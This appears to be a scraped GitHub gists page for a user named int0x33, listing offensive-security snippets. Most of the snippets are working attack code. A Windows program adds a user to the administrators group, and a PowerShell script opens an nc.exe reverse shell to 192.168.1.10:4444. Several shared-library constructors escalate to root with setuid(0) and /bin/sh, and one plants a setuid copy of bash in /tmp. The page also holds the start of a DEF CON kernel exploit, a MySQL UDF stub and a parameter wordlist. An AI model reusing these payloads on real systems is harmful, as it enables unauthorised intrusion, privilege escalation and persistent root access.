Skip to content

Instantly share code, notes, and snippets.

Avatar
🎯
Focusing

ZER0 int0x33

🎯
Focusing
View GitHub Profile
View keybase.md

Keybase proof

I hereby claim:

  • I am int0x33 on github.
  • I am int0x33 (https://keybase.io/int0x33) on keybase.
  • I have a public key ASCfPw27tiAPkGwjBolUP8VNr5weJ8uVmkc0fnov9NqebAo

To claim this, I am signing this object:

@int0x33
int0x33 / keml_exploit.c
Created May 18, 2020 — forked from LYoungJoo/keml_exploit.c
defcon 2020 keml
View keml_exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <unistd.h>
View win-adduser.c
#include <stdlib.h>
int main ()
{
int i;
i=system ("net localgroup administrators $lowprivUser /add");
return 0;
}
@int0x33
int0x33 / RunAsRevShell.ps1
Created Apr 11, 2019
Windows Run As Reverse Shell
View RunAsRevShell.ps1
$username = '<username here>'
$password = '<password here>'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Start-Process -FilePath C:\Users\Public\nc.exe -NoNewWindow -Credential $credential -ArgumentList ("-nc","192.168.1.10","4444","-e","cmd.exe") -WorkingDirectory C:\Users\Public
@int0x33
int0x33 / params.txt
Created Mar 30, 2019 — forked from nullenc0de/params.txt
List of parameters for content discovery
View params.txt
0
1
11
12
13
14
15
16
17
2
View sql-shared-object.c
#include <stdio.h>
#include <stdlib.h>
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args {
unsigned int arg_count; // number of arguments
enum Item_result *arg_type; // pointer to item_result
char **args; // pointer to arguments
unsigned long *lengths; // length of string args
View random_token.c
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
int random_token = 333;
void inject(){
setgid(0);
setuid(0);
execl("/bin/sh","sh",0);
View offensive-lib.c
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject(){
setgid(0);
setuid(0);
execl("/bin/sh","sh",0);
}
View libwelcome.c
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
int welcome = 333;
void inject(){
setgid(0);
setuid(0);
execl("/bin/sh","sh",0);
View shared-file.c
#include <stdio.h>
#include <stdlib.h>
static void welcome() __attribute__((constructor));
void welcome(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}